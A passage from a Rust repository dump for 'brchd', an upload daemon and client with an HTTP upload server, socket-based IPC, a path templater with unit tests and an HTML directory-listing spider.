std::path::{Path, PathBuf}; 8 | use std::fs::{self, File, OpenOptions}; 9 | 10 | const MAX_DEST_OPEN_ATTEMPTS: u8 = 12; 11 | 12 | pub fn get_filename(p: &Path) -> Result<(String, String)> { 13 | let mut i = p.iter().peekable(); 14 | 15 | let mut pb = PathBuf::new(); 16 | while let Some(x) = i.next() { 17 | match x.to_str() { 18 | Some("/") => (), // skip this 19 | Some("..") => bail!("Directory traversal detected"), 20 | Some(p) => { 21 | pb.push(&p); 22 | if i.peek().is_none() { 23 | return Ok(( 24 | // we've ensured that the path is valid utf-8, unwrap is fine 25 | pb.to_str().unwrap().to_string(), 26 | p.to_string(), 27 | )); 28 | } 29 | }, 30 | None => bail!("Filename is invalid utf8"), 31 | } 32 | } 33 | 34 | bail!("Path is an empty string") 35 | } 36 | 37 | pub struct UploadHandle { 38 | pub dest_path: PathBuf, 39 | pub temp_path: PathBuf, 40 | pub f: File, 41 | } 42 | 43 | pub fn open_upload_dest(ctx: UploadContext) -> Result { 44 | for _ in 0..MAX_DEST_OPEN_ATTEMPTS { 45 | let (path, deterministic) = ctx.generate()?; 46 | 47 | let dest = Path::new(&ctx.destination); 48 | let dest_path = dest.join(path); 49 | 50 | let (parent, temp_path) = temp::partial_path(&dest_path) 51 | .context("Failed to get partial path")?; 52 | fs::create_dir_all(parent)?; 53 | 54 | if let Ok(_f) = OpenOptions::new() 55 | .write(true) 56 | .create_new(true) 57 | .open(&dest_path) 58 | { 59 | let f = OpenOptions::new() 60 | .write(true) 61 | .create_new(true) 62 | .open(&temp_path)?; 63 | 64 | return Ok(UploadHandle { 65 | dest_path, 66 | temp_path, 67 | f, 68 | }); 69 | } else if deterministic { 70 | warn!("refusing to overwrite {:?}", dest_path); 71 | bail!("Target file already exists") 72 | } 73 | } 74 | 75 | bail!("Failed to find new filename to upload to") 76 | } 77 | 78 | pub fn save_sync(stream: &mut R, ctx: UploadContext) -> Result<()> { 79 | let mut upload = open_upload_dest(ctx)?; 80 | info!("writing file into {:?}", upload.temp_path); 81 | 82 | let size = io::copy(stream, &mut upload.f)?; 83 | 84 | let size = size.file_size(file_size_opts::CONVENTIONAL) 85 | .map_err(|e| format_err!("{}", e))?; 86 | 87 | info!("moving file {:?} -> {:?} ({})", upload.temp_path, upload.dest_path, size); 88 | fs::rename(upload.temp_path, upload.dest_path) 89 | .context("Failed to move temp file to final destination")?; 90 | 91 | Ok(()) 92 | } 93 | -------------------------------------------------------------------------------- /src/errors.rs: -------------------------------------------------------------------------------- 1 | pub use anyhow::{anyhow, bail, format_err, Context, Error, Result}; 2 | pub use log::{trace, debug, info, warn, error}; 3 | 4 | #[cfg(feature="httpd")] 5 | mod web { 6 | use std::fmt; 7 | 8 | pub struct WebError { 9 | err: anyhow::Error, 10 | } 11 | 12 | impl fmt::Debug for WebError { 13 | fn fmt(&self, w: &mut fmt::Formatter) -> fmt::Result { 14 | self.err.fmt(w) 15 | } 16 | } 17 | impl fmt::Display for WebError { 18 | fn fmt(&self, w: &mut fmt::Formatter) -> fmt::Result { 19 | self.err.fmt(w) 20 | } 21 | } 22 | 23 | impl actix_web::error::ResponseError for WebError { 24 | } 25 | 26 | impl From for WebError { 27 | fn from(err: anyhow::Error) -> WebError { 28 | WebError { err } 29 | } 30 | } 31 | } 32 | #[cfg(feature="httpd")] 33 | pub use self::web::WebError; 34 | -------------------------------------------------------------------------------- /src/html.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use html5ever::{local_name, parse_document}; 3 | use html5ever::tendril::TendrilSink; 4 | use markup5ever_rcdom::{Handle, NodeData, RcDom}; 5 | 6 | fn walk(outlinks: &mut Vec, node: &Handle) { 7 | if let NodeData::Element { 8 | ref name, 9 | ref attrs, 10 | .. 11 | } = node.data { 12 | if local_name!("a") == name.local { 13 | for attr in attrs.borrow().iter() { 14 | if attr.name.local.eq_str_ignore_ascii_case("href") { 15 | outlinks.push(attr.value.to_string()); 16 | } 17 | } 18 | } 19 | } 20 | 21 | for child in node.children.borrow().iter() { 22 | walk(outlinks, child); 23 | } 24 | } 25 | 26 | pub fn parse_links(bytes: &[u8]) -> Result> { 27 | let mut outlinks = Vec::new(); 28 | let dom = parse_document(RcDom::default(), Default::default()) 29 | .from_utf8() 30 | .read_from(&mut &bytes[..])?; 31 | walk(&mut outlinks, &dom.document); 32 | Ok(outlinks) 33 | } 34 | -------------------------------------------------------------------------------- /src/httpd/destination.rs: -------------------------------------------------------------------------------- 1 | use actix_web::{web, error, Error as ResponseError}; 2 | use crate::destination::open_upload_dest; 3 | use crate::errors::*; 4 | use crate::pathspec::UploadContext; 5 | use futures::{Stream, StreamExt}; 6 | use humansize::{FileSize, file_size_opts}; 7 | use std::io::prelude::*; 8 | use std::fs::{self, File}; 9 | 10 | async fn recv_all(mut stream: S, mut f: File) -> std::result::Result 11 | where 12 | S: Stream> + Unpin, 13 | E: 'static + error::ResponseError, 14 | { 15 | let mut n = 0; 16 | 17 | while let Some(chunk) = stream.next().await { 18 | let data = chunk?; 19 | n += data.len(); 20 | // filesystem operations are blocking, we have to use threadpool 21 | f = web::block(move || f.write_all(&data).map(|_| f)).await?; 22 | } 23 | 24 | Ok(n) 25 | } 26 | 27 | pub async fn save_async(stream: S, ctx: UploadContext, remote_sock: String) -> std::result::Result<(), ResponseError> 28 | where 29 | S: Stream> + Unpin, 30 | E: 'static + error::ResponseError, 31 | { 32 | // filesystem operations are blocking, we have to use threadpool 33 | let upload = web::block(|| open_upload_dest(ctx)) 34 | .await?; 35 | info!("{} writing upload into {:?}", remote_sock, upload.temp_path); 36 | 37 | let size = recv_all(stream, upload.f).await?; 38 | 39 | let size = size.file_size(file_size_opts::CONVENTIONAL) 40 | .map_err(|e| WebError::from(anyhow!("{}", e)))?; 41 | 42 | let temp_path = upload.temp_path; 43 | let dest_path = upload.dest_path; 44 | info!("{} moving upload {:?} -> {:?} ({})", remote_sock, temp_path, dest_path, size); 45 | web::block(|| fs::rename(temp_path, dest_path) 46 | .context("Failed to move temp file to final destination") 47 | ).await?; 48 | 49 | Ok(()) 50 | } 51 | -------------------------------------------------------------------------------- /src/httpd/mod.rs: -------------------------------------------------------------------------------- 1 | use actix_multipart::Multipart; 2 | use actix_multipart::Field; 3 | use actix_service::{Service, Transform}; 4 | use actix_web::{dev::ServiceRequest, dev::ServiceResponse}; 5 | use actix_web::{web, App, middleware, Error as ResponseError, HttpResponse, HttpServer}; 6 | use crate::args::Args; 7 | use crate::config::UploadConfig; 8 | use crate::errors::*; 9 | use crate::pathspec::UploadContext; 10 | use futures::{Future, StreamExt}; 11 | use futures::future::{ok, Ready}; 12 | use rand::{thread_rng, Rng}; 13 | use rand::distributions::Alphanumeric; 14 | use self::destination::save_async; 15 | use std::net::SocketAddr; 16 | use std::pin::Pin; 17 | use std::sync::Arc; 18 | use std::task::{Context, Poll}; 19 | 20 | mod destination; 21 | 22 | fn filename(field: &Field) -> Option { 23 | let content_type = field.content_disposition()?; 24 | let path = content_type.get_filename()?; 25 | Some(path.to_string()) 26 | } 27 | 28 | async fn post_file(req: web::HttpRequest, config: web::Data>, mut payload: Multipart) -> std::result::Result { 29 | let remote_addr = remote_addr(&req.peer_addr()); 30 | let remote_sock = remote_sock(&req.peer_addr()); 31 | 32 | // iterate over multipart stream 33 | while let Some(item) = payload.next().await { 34 | let field = item?; 35 | 36 | if let Some(path) = filename(&field) { 37 | save_async(field, UploadContext::new( 38 | config.destination.clone(), 39 | config.path_format.clone(), 40 | Some(remote_addr.clone()), 41 | &path, 42 | None, 43 | ).map_err(WebError::from)?, remote_sock.clone()).await?; 44 | } 45 | } 46 | 47 | Ok(HttpResponse::Ok().body("done.\n")) 48 | } 49 | 50 | async fn put_file(req: web::HttpRequest, config: web::Data>, payload: web::Payload) -> std::result::Result { 51 | let remote_addr = remote_addr(&req.peer_addr()); 52 | let remote_sock = remote_sock(&req.peer_addr()); 53 | 54 | let mut filename = thread_rng() 55 | .sample_iter(&Alphanumeric) 56 | .take(16) 57 | .collect::(); 58 | filename.push_str(".dat"); 59 | 60 | destination::save_async(payload, UploadContext::new( 61 | config.destination.clone(), 62 | config.path_format.clone(), 63 | Some(remote_addr), 64 | &filename, 65 | None, 66 | ).map_err(WebError::from)?, remote_sock).await?; 67 | 68 | Ok(HttpResponse::Ok().body("done.\n")) 69 | } 70 | 71 | fn index() -> HttpResponse { 72 | let html = r#" 73 | 74 | 75 | Upload File 76 | 77 | 86 | 87 | 88 |
89 | 90 | 91 |
92 | 93 | 94 | "#; 95 | 96 | HttpResponse::Ok() 97 | .content_type("text/html; charset=utf-8") 98 | .body(html) 99 | } 100 | 101 | pub struct Logger; 102 | 103 | impl Transform for Logger 104 | where 105 | S: Service, Error = ResponseError>, 106 | S::Future: 'static, 107 | B: 'static, 108 | { 109 | type Request = ServiceRequest; 110 | type Response = ServiceResponse; 111 | type Error = ResponseError; 112 | type InitError = (); 113 | type Transform = LoggerMiddleware; 114 | type Future = Ready>; 115 | 116 | fn new_transform(&self, service: S) -> Self::Future { 117 | ok(LoggerMiddleware { service }) 118 | } 119 | } 120 | 121 | pub struct LoggerMiddleware { 122 | service: S, 123 | } 124 | 125 | impl Service for LoggerMiddleware 126 | where 127 | S: Service, Error = ResponseError>, 128 | S::Future: 'static, 129 | B: 'static, 130 | { 131 | type Request = ServiceRequest; 132 | type Response = ServiceResponse; 133 | type Error = ResponseError; 134 | type Future = Pin>>>; 135 | 136 | fn poll_ready(&mut self, cx: &mut Context<'_>) -> Poll> { 137 | self.service.poll_ready(cx) 138 | } 139 | 140 | fn call(&mut self, req: ServiceRequest) -> Self::Future { 141 | let log = LogResponse::new(&req); 142 | let fut = self.service.call(req); 143 | 144 | Box::pin(async move { 145 | let res = fut.await?; 146 | log.write(&res); 147 | Ok(res) 148 | }) 149 | } 150 | } 151 | 152 | fn remote_addr(sa: &Option) -> String { 153 | sa 154 | .map(|r| r.ip().to_string()) 155 | .unwrap_or_else(|| "-".to_string()) 156 | } 157 | 158 | fn remote_sock(sa: &Option) -> String { 159 | sa 160 | .map(|r| r.to_string()) 161 | .unwrap_or_else(|| "-".to_string()) 162 | } 163 | 164 | struct LogResponse { 165 | remote: String, 166 | request_line: String, 167 | user_agent: String, 168 | } 169 | 170 | impl LogResponse { 171 | fn new(req: &ServiceRequest) -> LogResponse { 172 | let remote = remote_sock(&req.peer_addr()); 173 | 174 | let request_line = if req.query_string().is_empty() { 175 | format!( 176 | "{} {} {:?}", 177 | req.method(), 178 | req.path(), 179 | req.version() 180 | ) 181 | } else { 182 | format!( 183 | "{} {}?{} {:?}", 184 | req.method(), 185 | req.path(), 186 | req.query_string(), 187 | req.version() 188 | ) 189 | }; 190 | 191 | let user_agent = if let Some(val) = req.headers().get("User-Agent") { 192 | if let Ok(s) = val.to_str() { 193 | s 194 | } else { 195 | "-" 196 | } 197 | } else { 198 | "-" 199 | }.to_string(); 200 | 201 | LogResponse { 202 | remote, 203 | request_line, 204 | user_agent, 205 | } 206 | } 207 | 208 | fn write(self, res: &ServiceResponse) { 209 | let status_code = res.response().head().status.as_u16(); 210 | info!("{} {:?} {} {:?}", 211 | self.remote, 212 | self.request_line, 213 | status_code, 214 | self.user_agent 215 | ) 216 | } 217 | } 218 | 219 | #[actix_rt::main] 220 | pub async fn run(args: Args) -> Result<()> { 221 | let config = Arc::new(UploadConfig::load(&args)?); 222 | 223 | std::fs::create_dir_all(&config.destination)?; 224 | 225 | info!("starting brchd http daemon on {}", config.bind_addr); 226 | let app_data = config.clone(); 227 | HttpServer::new(move || { 228 | App::new() 229 | .wrap(middleware::Compress::default()) 230 | .data(app_data.clone()) 231 | .wrap(Logger) 232 | .service(web::resource("/*") 233 | .route(web::get().to(index)) 234 | .route(web::post().to(post_file)) 235 | .route(web::put().to(put_file)) 236 | ) 237 | }) 238 | .bind(config.bind_addr)? 239 | .run() 240 | .await?; 241 | Ok(()) 242 | } 243 | -------------------------------------------------------------------------------- /src/httpd/shim.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::errors::*; 3 | 4 | pub fn run(_: Args) -> Result<()> { 5 | unimplemented!() 6 | } 7 | -------------------------------------------------------------------------------- /src/ipc/mod.rs: -------------------------------------------------------------------------------- 1 | use bufstream::BufStream; 2 | use crate::errors::*; 3 | use crate::queue::{Task, QueueClient}; 4 | use crate::status::Status; 5 | use serde::{Serialize, Deserialize}; 6 | use std::io::prelude::*; 7 | 8 | #[cfg(unix)] 9 | #[path="unix.rs"] 10 | mod os; 11 | 12 | #[cfg(windows)] 13 | #[path="windows.rs"] 14 | mod os; 15 | 16 | #[derive(Debug, Clone, Serialize, Deserialize)] 17 | pub enum IpcMessage { 18 | Ping, 19 | Subscribe, 20 | StatusResp(Status), 21 | QueueReq, 22 | QueueResp(Vec), 23 | PushQueue(Task), 24 | Shutdown, 25 | } 26 | 27 | pub fn read(stream: &mut BufStream) -> Result> { 28 | let mut buf = String::new(); 29 | let n = stream.read_line(&mut buf)?; 30 | if n > 0 { 31 | let msg = serde_json::from_str(&buf[..n])?; 32 | debug!("received from ipc: {:?}", msg); 33 | Ok(Some(msg)) 34 | } else { 35 | Ok(None) 36 | } 37 | } 38 | 39 | pub fn write(stream: &mut BufStream, msg: &IpcMessage) -> Result<()> { 40 | debug!("sending to ipc: {:?}", msg); 41 | let mut buf = serde_json::to_string(msg)?; 42 | buf.push('\n'); 43 | stream.write_all(buf.as_bytes())?; 44 | stream.flush()?; 45 | Ok(()) 46 | } 47 | 48 | pub use self::os::{IpcClient, IpcServer, build_socket_path}; 49 | 50 | impl QueueClient for IpcClient { 51 | fn push_work(&mut self, task: Task) -> Result<()> { 52 | info!("pushing task to daemon: {:?}", task); 53 | write(&mut self.stream, &IpcMessage::PushQueue(task)) 54 | } 55 | } 56 | 57 | impl IpcClient { 58 | pub fn subscribe(&mut self) -> Result<()> { 59 | write(&mut self.stream, &IpcMessage::Subscribe) 60 | } 61 | 62 | pub fn read_status(&mut self) -> Result> { 63 | loop { 64 | return match read(&mut self.stream)? { 65 | Some(IpcMessage::Ping) => continue, 66 | Some(IpcMessage::StatusResp(status)) => Ok(Some(status)), 67 | Some(_) => bail!("Unexpected ipc message"), 68 | None => Ok(None), 69 | }; 70 | } 71 | } 72 | 73 | pub fn fetch_queue(&mut self) -> Result> { 74 | write(&mut self.stream, &IpcMessage::QueueReq)?; 75 | loop { 76 | return match read(&mut self.stream)? { 77 | Some(IpcMessage::Ping) => continue, 78 | Some(IpcMessage::QueueResp(queue)) => Ok(queue), 79 | Some(_) => bail!("Unexpected ipc message"), 80 | None => bail!("Daemon disconnected"), 81 | }; 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/ipc/unix.rs: -------------------------------------------------------------------------------- 1 | use bufstream::BufStream; 2 | use crate::errors::*; 3 | use std::fs; 4 | use std::os::unix::net::{UnixStream, UnixListener}; 5 | use std::path::{Path, PathBuf}; 6 | 7 | pub fn build_socket_path(socket: Option, search: bool) -> Result { 8 | if let Some(path) = socket { 9 | Ok(path) 10 | } else { 11 | let path = dirs::data_dir() 12 | .ok_or_else(|| format_err!("Failed to find data directory"))?; 13 | let path = path.join("brchd.sock"); 14 | if !search || path.exists() { 15 | return Ok(path); 16 | } 17 | 18 | let path = PathBuf::from("/var/run/brchd/sock"); 19 | if path.exists() { 20 | return Ok(path); 21 | } 22 | 23 | bail!("Could not find brchd socket, is brchd -D running?") 24 | } 25 | } 26 | 27 | pub struct IpcClient { 28 | pub stream: BufStream, 29 | } 30 | 31 | impl IpcClient { 32 | pub fn connect(path: Option) -> Result { 33 | let path = build_socket_path(path, true)?; 34 | debug!("connecting to {:?}", path); 35 | let stream = UnixStream::connect(path) 36 | .context("Failed to connect to brchd socket, is brchd -D running?")?; 37 | debug!("connected"); 38 | let stream = BufStream::new(stream); 39 | Ok(IpcClient { 40 | stream, 41 | }) 42 | } 43 | } 44 | 45 | pub struct IpcServer { 46 | listener: UnixListener, 47 | } 48 | 49 | impl IpcServer { 50 | pub fn bind(path: &Path) -> Result { 51 | if let Some(parent) = path.parent() { 52 | fs::create_dir_all(parent) 53 | .context("Failed to create socket parent folder")?; 54 | } 55 | 56 | if path.exists() { 57 | fs::remove_file(&path) 58 | .context("Failed to remove old socket")?; 59 | } 60 | 61 | let listener = UnixListener::bind(&path) 62 | .context("Failed to bind to socket path")?; 63 | 64 | Ok(IpcServer { listener }) 65 | } 66 | 67 | pub fn accept(&self) -> Result { 68 | let (stream, _) = self.listener.accept()?; 69 | Ok(stream) 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/ipc/windows.rs: -------------------------------------------------------------------------------- 1 | use bufstream::BufStream; 2 | use crate::errors::*; 3 | use named_pipe::{PipeOptions, PipeServer, PipeClient}; 4 | use std::path::{Path, PathBuf}; 5 | 6 | pub fn build_socket_path(socket: Option, _search: bool) -> Result { 7 | if let Some(path) = socket { 8 | Ok(path) 9 | } else { 10 | Ok(PathBuf::from(r"\\.\pipe\brchd")) 11 | } 12 | } 13 | 14 | pub struct IpcClient { 15 | pub stream: BufStream, 16 | } 17 | 18 | impl IpcClient { 19 | pub fn connect(path: Option) -> Result { 20 | let path = build_socket_path(path, true)?; 21 | debug!("connecting to {:?}", path); 22 | let stream = PipeClient::connect(path) 23 | .context("Failed to connect to brchd socket, is brchd -D running?")?; 24 | debug!("connected"); 25 | let stream = BufStream::new(stream); 26 | Ok(IpcClient { 27 | stream, 28 | }) 29 | } 30 | } 31 | 32 | pub struct IpcServer { 33 | listener: PipeOptions, 34 | } 35 | 36 | impl IpcServer { 37 | pub fn bind(path: &Path) -> Result { 38 | let mut listener = PipeOptions::new(path); 39 | listener.first(false); 40 | Ok(IpcServer { listener }) 41 | } 42 | 43 | pub fn accept(&self) -> Result { 44 | let stream = self.listener.single() 45 | .context("Failed to open named pipe")?; 46 | 47 | let stream = stream.wait() 48 | .context("Failed to wait for named pipe client")?; 49 | 50 | Ok(stream) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod args; 2 | pub mod config; 3 | 4 | #[cfg(feature = "crypto")] 5 | #[path="crypto/mod.rs"] 6 | pub mod crypto; 7 | #[cfg(not(feature = "crypto"))] 8 | #[path="crypto/shim.rs"] 9 | pub mod crypto; 10 | 11 | pub mod daemon; 12 | pub mod destination; 13 | pub mod errors; 14 | #[cfg(feature = "spider")] 15 | pub mod html; 16 | 17 | #[cfg(feature = "httpd")] 18 | #[path="httpd/mod.rs"] 19 | pub mod httpd; 20 | #[cfg(not(feature = "httpd"))] 21 | #[path="httpd/shim.rs"] 22 | pub mod httpd; 23 | 24 | pub mod ipc; 25 | pub mod pathspec; 26 | pub mod queue; 27 | 28 | #[cfg(feature = "spider")] 29 | #[path="spider/mod.rs"] 30 | pub mod spider; 31 | #[cfg(not(feature = "spider"))] 32 | #[path="spider/shim.rs"] 33 | pub mod spider; 34 | 35 | pub mod standalone; 36 | pub mod status; 37 | pub mod temp; 38 | pub mod uploader; 39 | pub mod walkdir; 40 | pub mod web; 41 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use brchd::args::Args; 2 | use brchd::config::ClientConfig; 3 | use brchd::crypto; 4 | use brchd::daemon; 5 | use brchd::errors::*; 6 | use brchd::httpd; 7 | use brchd::ipc::IpcClient; 8 | use brchd::queue; 9 | use brchd::status::StatusWriter; 10 | use env_logger::Env; 11 | use std::io::stdout; 12 | use structopt::StructOpt; 13 | 14 | fn log_filter(args: &Args) -> &'static str { 15 | let mut verbose = args.verbose; 16 | 17 | // make sure verbose is always >= 1 for request logging 18 | if args.http_daemon && verbose == 0 { 19 | verbose = 1; 20 | } 21 | 22 | match verbose { 23 | 0 => "brchd=warn", 24 | 1 => "brchd=info", 25 | 2 => "brchd=debug", 26 | 3 => "info,brchd=debug", 27 | 4 => "debug", 28 | _ => "debug,brchd=trace", 29 | } 30 | } 31 | 32 | fn main() -> Result<()> { 33 | let args = Args::from_args(); 34 | 35 | env_logger::init_from_env(Env::default() 36 | .default_filter_or(log_filter(&args))); 37 | 38 | if args.daemon { 39 | daemon::run(&args)?; 40 | } else if args.http_daemon { 41 | httpd::run(args)?; 42 | } else if args.encrypt { 43 | crypto::run_encrypt(args)?; 44 | } else if args.decrypt { 45 | crypto::run_decrypt(args)?; 46 | } else if args.keygen { 47 | crypto::run_keygen(args)?; 48 | } else if args.queue { 49 | let config = ClientConfig::load(&args)?; 50 | let mut client = IpcClient::connect(config.socket)?; 51 | for task in client.fetch_queue()? { 52 | println!("{:?}", task); 53 | } 54 | } else if args.wait { 55 | let config = ClientConfig::load(&args)?; 56 | let mut client = IpcClient::connect(config.socket)?; 57 | client.subscribe()?; 58 | while let Some(status) = client.read_status()? { 59 | if status.queue == 0 && status.idle_workers == status.total_workers { 60 | break; 61 | } 62 | } 63 | } else if let Some(shell) = args.gen_completions { 64 | Args::clap().gen_completions_to("brchd", shell, &mut stdout()); 65 | } else if !args.paths.is_empty() { 66 | queue::run_add(args)?; 67 | } else { 68 | // TODO: add --once option 69 | let config = ClientConfig::load(&args)?; 70 | let mut client = IpcClient::connect(config.socket)?; 71 | client.subscribe()?; 72 | let mut w = StatusWriter::new(); 73 | while let Some(status) = client.read_status()? { 74 | w.write(&status)?; 75 | } 76 | } 77 | 78 | Ok(()) 79 | } 80 | -------------------------------------------------------------------------------- /src/pathspec.rs: -------------------------------------------------------------------------------- 1 | use crate::destination; 2 | use crate::errors::*; 3 | use chrono::{DateTime, Utc, Datelike, Timelike}; 4 | use rand::{thread_rng, Rng}; 5 | use rand::distributions::Alphanumeric; 6 | use std::borrow::Cow; 7 | use std::path::Path; 8 | 9 | pub struct UploadContext { 10 | pub destination: String, 11 | format: String, 12 | dt: DateTime, 13 | remote: Cow<'static, str>, 14 | filename: String, 15 | path: String, 16 | full_path: Option, 17 | } 18 | 19 | impl UploadContext { 20 | pub fn new(destination: String, format: String, remote: Option, path: &str, full_path: Option) -> Result { 21 | let path = Path::new(path); 22 | let (path, filename) = destination::get_filename(path)?; 23 | 24 | let remote = remote 25 | .map(Cow::Owned) 26 | .unwrap_or(Cow::Borrowed("local")); 27 | 28 | Ok(UploadContext { 29 | destination, 30 | format, 31 | dt: Utc::now(), 32 | remote, 33 | filename, 34 | path, 35 | full_path, 36 | }) 37 | } 38 | 39 | pub fn generate(&self) -> Result<(String, bool)> { 40 | let mut chars = self.format.chars(); 41 | 42 | let mut out = String::new(); 43 | let mut deterministic = true; 44 | 45 | while let Some(c) = chars.next() { 46 | if c == '%' { 47 | match chars.next() { 48 | Some('%') => out.push('%'), 49 | 50 | Some('Y') => out.push_str(&format!("{:04}", self.dt.year())), 51 | Some('m') => out.push_str(&format!("{:02}", self.dt.month())), 52 | Some('d') => out.push_str(&format!("{:02}", self.dt.day())), 53 | 54 | Some('H') => out.push_str(&format!("{:02}", self.dt.hour())), 55 | Some('M') => out.push_str(&format!("{:02}", self.dt.minute())), 56 | Some('S') => out.push_str(&format!("{:02}", self.dt.second())), 57 | 58 | Some('h') => out.push_str(&self.remote), 59 | Some('f') => out.push_str(&self.filename), 60 | Some('p') => out.push_str(&self.path), 61 | Some('P') => { 62 | if let Some(full_path) = &self.full_path { 63 | out.push_str(&full_path) 64 | } else { 65 | out.push_str(&self.path) 66 | } 67 | }, 68 | 69 | Some('r') => { 70 | deterministic = false; 71 | out.extend( 72 | thread_rng() 73 | .sample_iter(&Alphanumeric) 74 | .take(6) 75 | ); 76 | }, 77 | 78 | Some(_) => bail!("Invalid escape sequence"), 79 | None => bail!("Unterminated percent escape"), 80 | } 81 | } else { 82 | out.push(c); 83 | } 84 | } 85 | 86 | Ok((out, deterministic)) 87 | } 88 | } 89 | 90 | #[cfg(test)] 91 | mod tests { 92 | use super::*; 93 | 94 | fn ctx(format: &str) -> UploadContext { 95 | UploadContext { 96 | destination: "/tmp/".to_string(), 97 | format: format.to_string(), 98 | dt: "1996-12-19T16:39:57Z".parse::>().unwrap(), 99 | remote: Cow::Borrowed("192.0.2.1"), 100 | filename: "ohai.txt".to_string(), 101 | path: "b/c/ohai.txt".to_string(), 102 | full_path: Some("a/b/c/ohai.txt".to_string()), 103 | } 104 | } 105 | 106 | #[test] 107 | fn date_folders() { 108 | let (p, d) = ctx("%Y-%m-%d/%f").generate().unwrap(); 109 | assert_eq!((p.as_str(), d), ("1996-12-19/ohai.txt", true)); 110 | } 111 | 112 | /* 113 | #[test] 114 | fn http_mirror() { 115 | let (p, d) = ctx("%h/%P").generate().unwrap(); 116 | assert_eq!((p.as_str(), d), ("192.0.2.1/a/b/c/ohai.txt", true)); 117 | } 118 | */ 119 | 120 | #[test] 121 | fn random_prefix() { 122 | let (p, d) = ctx("%r-%f").generate().unwrap(); 123 | assert_eq!(p.len(), 15); 124 | assert!(!d) 125 | } 126 | 127 | #[test] 128 | fn literal_percent() { 129 | let (p, d) = ctx("%%").generate().unwrap(); 130 | assert_eq!((p.as_str(), d), ("%", true)); 131 | } 132 | 133 | #[test] 134 | fn trailing_percent() { 135 | let r = ctx("foo%").generate(); 136 | assert!(r.is_err()); 137 | } 138 | 139 | #[test] 140 | fn invalid_escape() { 141 | let r = ctx("%/").generate(); 142 | assert!(r.is_err()); 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/queue.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 2 | use crate::config::{ClientConfig, DaemonConfig}; 3 | use crate::errors::*; 4 | use crate::ipc::IpcClient; 5 | use crate::spider; 6 | use crate::standalone::Standalone; 7 | use crate::walkdir; 8 | use crate::web; 9 | use reqwest::blocking::Client; 10 | use serde::{Serialize, Deserialize}; 11 | use std::path::PathBuf; 12 | use std::time::Duration; 13 | use url::Url; 14 | 15 | #[derive(Debug, Clone, Serialize, Deserialize)] 16 | pub struct Task { 17 | pub target: Target, 18 | pub size: u64, 19 | } 20 | 21 | impl Task { 22 | pub fn path(path: PathBuf, resolved: PathBuf, size: u64) -> Task { 23 | Task { 24 | target: Target::Path(PathTarget { 25 | path, 26 | resolved, 27 | }), 28 | size, 29 | } 30 | } 31 | 32 | pub fn url(path: String, url: Url) -> Task { 33 | Task { 34 | target: Target::Url(UrlTarget { 35 | path, 36 | url, 37 | }), 38 | size: 0, 39 | } 40 | } 41 | } 42 | 43 | #[derive(Debug, Clone, Serialize, Deserialize)] 44 | pub enum Target { 45 | Path(PathTarget), 46 | Url(UrlTarget), 47 | } 48 | 49 | #[derive(Debug, Clone, Serialize, Deserialize)] 50 | pub struct PathTarget { 51 | pub path: PathBuf, 52 | pub resolved: PathBuf, 53 | } 54 | 55 | #[derive(Debug, Clone, Serialize, Deserialize)] 56 | pub struct UrlTarget { 57 | pub path: String, 58 | pub url: Url, 59 | } 60 | 61 | pub trait QueueClient { 62 | fn push_work(&mut self, task: Task) -> Result<()>; 63 | 64 | fn finish(&mut self) -> Result<()> { 65 | Ok(()) 66 | } 67 | } 68 | 69 | pub fn run_add(args: Args) -> Result<()> { 70 | let config = ClientConfig::load(&args)?; 71 | 72 | let client: Box = if args.destination.is_some() { 73 | let config = DaemonConfig::load(&args)?; 74 | Box::new(Standalone::new(&args, config)?) 75 | } else { 76 | Box::new(IpcClient::connect(config.socket)?) 77 | }; 78 | 79 | let http = web::client(Some(Duration::from_secs(60)), config.proxy.as_ref(), args.accept_invalid_certs, args.user_agent.as_ref())?; 80 | exec(args, client, http) 81 | } 82 | 83 | pub fn exec(args: Args, mut client: Box, http: Client) -> Result<()> { 84 | for path in &args.paths { 85 | if path.starts_with("https://") || path.starts_with("https://") { 86 | spider::queue(client.as_mut(), &http, path)?; 87 | } else { 88 | walkdir::queue(client.as_mut(), path)?; 89 | } 90 | } 91 | client.finish() 92 | } 93 | -------------------------------------------------------------------------------- /src/spider/mod.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use crate::html; 3 | use crate::queue:: {Task, QueueClient}; 4 | use reqwest::blocking::Client; 5 | use std::collections::VecDeque; 6 | use url::Url; 7 | 8 | pub fn queue(client: &mut dyn QueueClient, http: &Client, base: &str) -> Result<()> { 9 | let mut queue = VecDeque::new(); 10 | 11 | let target = base.parse::() 12 | .context("Failed to parse target as url")?; 13 | queue.push_back(target); 14 | 15 | while let Some(target) = queue.pop_front() { 16 | debug!("Fetching directory listing from url {:?}", target); 17 | let resp = http.get(target.clone()) 18 | .send() 19 | .context("Failed to send request")? 20 | .error_for_status() 21 | .context("Got http error")?; 22 | 23 | let body = resp.text()?; 24 | debug!("Downloaded {} bytes", body.as_bytes().len()); 25 | let links = html::parse_links(body.as_bytes())?; 26 | debug!("Discovered {} tags", links.len()); 27 | 28 | for href in &links { 29 | debug!("Discovered href: {:?}", href); 30 | let link = target.join(href)?; 31 | let link_str = link.as_str(); 32 | debug!("Discovered link: {:?}", link_str); 33 | let target = target.as_str(); 34 | 35 | if !link_str.starts_with(target) || link_str == target { 36 | debug!("Not a child link, skipping"); 37 | continue; 38 | } 39 | 40 | if link_str.ends_with('/') { 41 | info!("traversing into directory: {:?}", link_str); 42 | queue.push_back(link); 43 | } else { 44 | let relative = link_str[base.len()..].to_string(); 45 | let task = Task::url(relative, link); 46 | client.push_work(task)?; 47 | } 48 | } 49 | } 50 | 51 | Ok(()) 52 | } 53 | -------------------------------------------------------------------------------- /src/spider/shim.rs: -------------------------------------------------------------------------------- 1 | use crate::errors::*; 2 | use crate::queue:: {QueueClient}; 3 | use reqwest::blocking::Client; 4 | 5 | pub fn queue(_: &mut dyn QueueClient, _: &Client, _: &str) -> Result<()> { 6 | unimplemented!() 7 | } 8 | -------------------------------------------------------------------------------- /src/standalone.rs: -------------------------------------------------------------------------------- 1 | use crate::args::Args; 